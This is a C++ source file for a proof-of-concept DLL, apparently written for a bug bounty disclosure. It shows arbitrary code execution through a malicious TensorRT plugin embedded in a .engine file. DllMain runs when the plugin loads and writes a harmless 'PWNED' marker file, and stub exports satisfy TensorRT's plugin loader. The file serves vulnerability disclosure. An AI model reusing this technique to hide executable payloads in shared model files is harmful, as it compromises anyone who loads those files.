// Malicious TensorRT Plugin PoC - Proof of Concept for ACE via embedded plugin in .engine file
// This DLL exports the minimal required TensorRT plugin interface functions.
// When loaded by TensorRT during engine deserialization, DllMain executes arbitrary code.

#include <windows.h>
#include <cstdint>
#include <cstdio>

// Forward declarations - minimal TensorRT interfaces needed for plugin exports.
// We don't need full headers; just enough for the function signatures.
namespace nvinfer1 {
    class ILoggerFinder;
    class IPluginCreator;
}

// ============================================================================
// PROOF OF CONCEPT: DllMain executes when TensorRT loads the embedded DLL
// ============================================================================
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        // PROOF OF CONCEPT: Write a file to prove arbitrary code execution
        FILE* f = fopen("C:\\Users\\Trefor\\bug bounty\\TensorRT\\poc\\PWNED.txt", "w");
        if (f)
        {
            fprintf(f, "ARBITRARY CODE EXECUTION ACHIEVED!\n");
            fprintf(f, "This file was created by a malicious TensorRT plugin\n");
            fprintf(f, "embedded in a .engine file during deserialization.\n");
            fprintf(f, "No engine_host_code_allowed flag was set.\n");
            fclose(f);
        }

        // Removed MessageBox to avoid blocking during testing
    }
    return TRUE;
}

// ============================================================================
// Required TensorRT plugin library exports
// ============================================================================

// setLoggerFinder - required by TensorRT plugin loading
extern "C" __declspec(dllexport) void setLoggerFinder(nvinfer1::ILoggerFinder* finder)
{
    // No-op - just needs to exist
    (void)finder;
}

// getCreators - required by TensorRT plugin loading (V3 API, checked first)
extern "C" __declspec(dllexport) nvinfer1::IPluginCreator* const* getCreators(int32_t& nbCreators)
{
    nbCreators = 0;
    return nullptr;
}

// getPluginCreators - fallback for older TensorRT versions (V2 API)
extern "C" __declspec(dllexport) nvinfer1::IPluginCreator* const* getPluginCreators(int32_t& nbCreators)
{
    nbCreators = 0;
    return nullptr;
}